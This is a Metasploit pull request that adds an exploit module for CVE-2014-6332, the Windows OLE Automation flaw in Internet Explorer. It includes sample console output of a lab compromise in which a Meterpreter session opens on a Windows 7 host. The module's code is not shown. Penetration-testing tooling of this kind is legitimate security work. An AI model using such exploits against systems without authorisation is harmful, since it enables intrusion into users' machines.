rapid7/metasploit-framework — pull request #4255 by spdfire (2014-11-24 08:33:31+00:00)
Title: module for CVE-2014-6332.

This module exploits Windows OLE Automation Array Vulnerability known as unicorn.

This vulnerability is significant because it exploits an old bug present in Internet Explorer versions 3 through 11. This means that most, if not all, Internet Explorer users are vulnerable unless they are using patched systems.

Sample output:
[*] Using URL: http://192.168.xxx.yyy:80/e
[*] Server started.

msf exploit(ms14_064_ole_code_execution) >
[*] 192.168.xxx.xxx ms14_064_ole_code_execution - Requesting: /e
[*] 192.168.xxx.xxx ms14_064_ole_code_execution - Detected Internet Explorer in version: 7
[*] 192.168.xxx.xxx:60725 Request received for /YvW6...
[*] 192.168.xxx.xxx:60725 Staging connection for target /YvW6 received...
[*] Patched user-agent at offset 664168...
[*] Patched transport at offset 663832...
[*] Patched URL at offset 663896...
[*] Patched Expiration Timeout at offset 664768...
[*] Patched Communication Timeout at offset 664772...

msf exploit(ms14_064_ole_code_execution) > sessions -l

Active sessions
===============

Id Type Information Connection
-- ---- ----------- ----------
1 meterpreter x86/win32 XX\xxxxx @ YYYYYYYY 127.0.0.1 -> 192.168.xxx.xxx:60725 (192.168.xxx.xxx)

msf exploit(ms14_064_ole_code_execution) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer : YYYYYYYY
OS : Windows 7 (Build 7601, Service Pack 1).
Architecture : x86
System Language : en_US
Meterpreter : x86/win32
meterpreter >